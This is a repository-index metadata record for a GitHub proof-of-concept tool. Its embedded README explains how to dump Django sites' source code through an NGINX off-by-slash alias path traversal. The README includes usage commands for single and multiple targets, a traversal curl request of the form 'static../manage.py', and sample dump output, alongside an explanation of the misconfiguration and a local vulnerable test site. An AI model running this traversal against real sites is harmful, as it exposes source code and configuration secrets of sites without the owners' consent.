{"id":13300159,"url":"https://github.com/adamyordan/offbyslash-django-dumper","last_synced_at":"2025-06-29T15:35:26.020Z","repository":{"id":50199858,"uuid":"161609074","full_name":"adamyordan/offbyslash-django-dumper","owner":"adamyordan","description":"A proof of concept to dump Django website's source code affected by NGINX's off-by-slash alias directive misconfiguration.","archived":false,"fork":false,"pushed_at":"2022-12-08T01:28:39.000Z","size":6350,"stargazers_count":24,"open_issues_count":3,"forks_count":4,"subscribers_count":1,"default_branch":"master","last_synced_at":"2025-04-12T02:21:37.354Z","etag":null,"topics":["django","dumper","exploit","nginx","poc","security","source-code","vulnerability","web-security"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/adamyordan.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2018-12-13T08:40:42.000Z","updated_at":"2024-08-12T19:44:00.000Z","dependencies_parsed_at":"2023-01-24T09:15:39.005Z","dependency_job_id":null,"html_url":"https://github.com/adamyordan/offbyslash-django-dumper","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/adamyordan/offbyslash-django-dumper","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/adamyordan%2Foffbyslash-django-dumper","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/adamyordan%2Foffbyslash-django-dumper/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/adamyordan%2Foffbyslash-django-dumper/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/adamyordan%2Foffbyslash-django-dumper/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/adamyordan","download_url":"https://codeload.github.com/adamyordan/offbyslash-django-dumper/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/adamyordan%2Foffbyslash-django-dumper/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":262619844,"owners_count":23338341,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["django","dumper","exploit","nginx","poc","security","source-code","vulnerability","web-security"],"created_at":"2024-07-29T17:40:33.644Z","updated_at":"2025-06-29T15:35:26.001Z","avatar_url":"https://github.com/adamyordan.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# PoC: Off-by-slash Django Site Dumper\n\n\u003e A proof of concept to dump Django website's source code affected by NGINX's off-by-slash alias directive misconfiguration.\n\n\u003cp align=\"center\"\u003e\u003cimg src=\"/demo.gif?raw=true\"/\u003e\u003c/p\u003e\n\n\n## Installation\n\n```bash\n$ git clone https://github.com/adamyordan/offbyslash-django-dumper\n\n$ cd offbyslash-django-dumper\n\n$ pip install -r requirements.txt\n```\n\n\n## Usage\nPass target url as argument\n```bash\n$ python exploit.py --url http://django-site.com/\n```\n\nOr using files containing multiple target urls\n```bash\n$ cat targets.txt\nhttp://django-site.com/\nhttps://other-affected-site.org/\nhttp://cool-website.me/\n\n$ python exploit.py --file targets.txt\n```\n\nThe result is available at `dump` directory\n```\n$ tree dump\n\ndump/\n└── http-django-site.com-\n    ├── api\n    │   ├── urls.py\n    │   ├── users.py\n    │   └── views.py\n    ├── common\n    │   └── logger.py\n    ├── manage.py\n    └── app\n        ├── __init__.py\n        ├── settings.py\n        ├── urls.py\n        ├── validate.py\n        └── wsgi.py\n```\n\n## Explanation\n\nThis dumper works by using a path traversal vulnerability caused by a misconfiguration when using NGINX to serve \nstatic files. Equivalent curl command used by this dumper to dump local files is:\n```bash\n$ curl http://django-site.com/static../manage.py\n```\n\nAffected sites will return a response with status `200 OK` and body containing the source code of `manage.py` file.\n\n\nThis vulnerability is caused by a slight but fatal mistake in Nginx's configuration (_Nginx off-by-slash fail_ / _alias traversal_)\nthat allow path traversal via misconfigured alias.\nFor example, here is a snippet of affected nginx rule:\n```\nlocation /static {\n    alias /home/app/static/;\n}\n```\n\nBy sending a request to `http://django-site.com/static../manage.py`, Nginx matches the rule and appends the remainder \nto destination `/home/app/static/../manage.py`. Therefore serving the `manage.py` as static file.\n\n\nThis dumper utilize this vulnerability to automatically crawl the source code of Django sites, inferring available\nsource code files by using static analysis (read: pattern matching!), and (recursively?) expand source codes.\n\n\n## Example Vulnerable Site\n\nAn example website is provided in this repository at directory `vulnerable-site` in Dockerfile format.\n\n```bash\n$ cd vulnerable-site\n$ docker build -t tmp/vulnsite . \u0026\u0026 docker run --rm -it -p 8000:80 -d tmp/vulnsite\n\n\n$ cd ..\n$ python exploit.py --url http://localhost:8000/\n\n[+] START CRAWLING: http://localhost:8000/\n[+] downloading: dump/http-localhost-8000-/manage.py\n[+] downloading: dump/http-localhost-8000-/app/settings.py\n[+] downloading: dump/http-localhost-8000-/app/wsgi.py\n[+] downloading: dump/http-localhost-8000-/app/urls.py\n[+] FINISHED: http://localhost:8000/\n\n\n$ tree dump/\ndump/\n└── http-localhost-8000-\n    ├── app\n    │   ├── settings.py\n    │   ├── urls.py\n    │   └── wsgi.py\n    └── manage.py\n```\n\n\n## Reference\n- [Blackhat USA 2018 presentation slide - by Orange Tsai](https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf)\n- [Nginx alias documentation](http://nginx.org/en/docs/http/ngx_http_core_module.html#alias)\n- [Gixy's documentation of path traversal via misconfigured alias](https://github.com/yandex/gixy/blob/master/docs/en/plugins/aliastraversal.md)\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fadamyordan%2Foffbyslash-django-dumper","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fadamyordan%2Foffbyslash-django-dumper","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fadamyordan%2Foffbyslash-django-dumper/lists"}